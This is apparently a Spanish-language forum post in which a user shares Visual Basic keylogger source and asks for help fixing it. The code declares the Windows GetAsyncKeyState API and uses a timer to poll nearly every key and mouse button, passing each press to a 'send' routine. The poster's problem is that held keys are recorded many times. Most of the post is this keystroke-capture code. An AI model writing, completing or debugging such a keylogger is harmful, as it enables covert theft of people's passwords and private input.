error con keyloggers

[shadow.darknesses]

miren ise un keyloggers super simple, es asi
modulo

Código [Seleccionar] Expandir

Declare Function apikey Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer


Código [Seleccionar] Expandir

Private Sub Timer_key_Timer()
If apikey(144) Then Envia "keylock" 'falta 128-143
If apikey(127) Then Envia "keyf16"
If apikey(126) Then Envia "keyf15"
If apikey(125) Then Envia "keyf14"
If apikey(124) Then Envia "keyf13"
If apikey(123) Then Envia "keyf12"
If apikey(122) Then Envia "keyf11"
If apikey(121) Then Envia "keyf10"
If apikey(120) Then Envia "keyf9"
If apikey(119) Then Envia "keyf8"
If apikey(118) Then Envia "keyf7"
If apikey(117) Then Envia "keyf6"
If apikey(116) Then Envia "keyf5"
If apikey(115) Then Envia "keyf4"
If apikey(114) Then Envia "keyf3"
If apikey(113) Then Envia "keyf2"
If apikey(112) Then Envia "keyf1"
If apikey(111) Then Envia "keydivide"
If apikey(110) Then Envia "keydecimal"
If apikey(109) Then Envia "key-"
If apikey(108) Then Envia "keyfseparator" 'noce
If apikey(107) Then Envia "key+"
If apikey(106) Then Envia "key*"
If apikey(105) Then Envia "key9"
If apikey(104) Then Envia "key8"
If apikey(103) Then Envia "key7"
If apikey(102) Then Envia "key6"
If apikey(101) Then Envia "key5"
If apikey(100) Then Envia "key4"
If apikey(99) Then Envia "key3"
If apikey(98) Then Envia "key2"
If apikey(97) Then Envia "key1"
If apikey(96) Then Envia "key0"
If apikey(90) Then Envia "keyz"
If apikey(89) Then Envia "keyy"
If apikey(88) Then Envia "keyx"
If apikey(87) Then Envia "keyw"
If apikey(86) Then Envia "keyv"
If apikey(85) Then Envia "keyu"
If apikey(84) Then Envia "keyt"
If apikey(83) Then Envia "keys"
If apikey(82) Then Envia "keyr"
If apikey(81) Then Envia "keyq"
If apikey(80) Then Envia "keyp"
If apikey(79) Then Envia "keyo"
If apikey(78) Then Envia "keyn"
If apikey(77) Then Envia "keym"
If apikey(76) Then Envia "keyl"
If apikey(75) Then Envia "keyk"
If apikey(74) Then Envia "keyj"
If apikey(73) Then Envia "keyi"
If apikey(72) Then Envia "keyh"
If apikey(71) Then Envia "keyg"
If apikey(70) Then Envia "keyf"
If apikey(69) Then Envia "keye"
If apikey(68) Then Envia "keyd"
If apikey(67) Then Envia "keyc"
If apikey(66) Then Envia "keyb"
If apikey(65) Then Envia "keya" 'falta 58-64
If apikey(57) Then Envia "key9"
If apikey(56) Then Envia "key8"
If apikey(55) Then Envia "key7"
If apikey(54) Then Envia "key6"
If apikey(53) Then Envia "key5"
If apikey(52) Then Envia "key4"
If apikey(51) Then Envia "key3"
If apikey(50) Then Envia "key2"
If apikey(49) Then Envia "key1"
If apikey(48) Then Envia "key0"
If apikey(47) Then Envia "keyhelp" 'noce
If apikey(46) Then Envia "keysupr"
If apikey(45) Then Envia "keyinsert"
If apikey(44) Then Envia "keysnapshot" 'Impr-pant-petsis
If apikey(43) Then Envia "keyexecute" 'noce
If apikey(42) Then Envia "keyprint" 'noce
If apikey(41) Then Envia "keyselect" 'noce
If apikey(40) Then Envia "keydown"
If apikey(39) Then Envia "keyright"
If apikey(38) Then Envia "keyup"
If apikey(37) Then Envia "keyleft"
If apikey(36) Then Envia "keyhome"
If apikey(35) Then Envia "keyend"
If apikey(34) Then Envia "keypagdown"
If apikey(33) Then Envia "keypagup"
If apikey(32) Then Envia "keyspace" 'falta 28-31
If apikey(27) Then Envia "keyesc" 'falta 21-26
If apikey(20) Then Envia "keycapital" 'BLOQMAYUS
If apikey(18) Then Envia "keymenu" 'alt
If apikey(19) Then Envia "keyPause" 'pause-inter
If apikey(17) Then Envia "keyctrl"
If apikey(16) Then Envia "keyshif"
If apikey(13) Then Envia "keyenter"
If apikey(12) Then Envia "keyclear" 'noce
If apikey(9) Then Envia "keytab"
If apikey(8) Then Envia "keyback"
If apikey(4) Then Envia "keymbutton" 'noce
If apikey(3) Then Envia "keycancel" 'noce
If apikey(2) Then Envia "keyclickderecho"
If apikey(1) Then Envia "keyclickizquierdo"
End Sub

ya todo bien pero cuando pulso una tecla y la dejo too el rato apresionada en el text1 aparece como se hubiese sido aprecionada millones de veces, o ejemplo ago un click con el derecho y en el keyloggers sale que ice como 20 veces click con el derecho
miren

cual es el error? xfa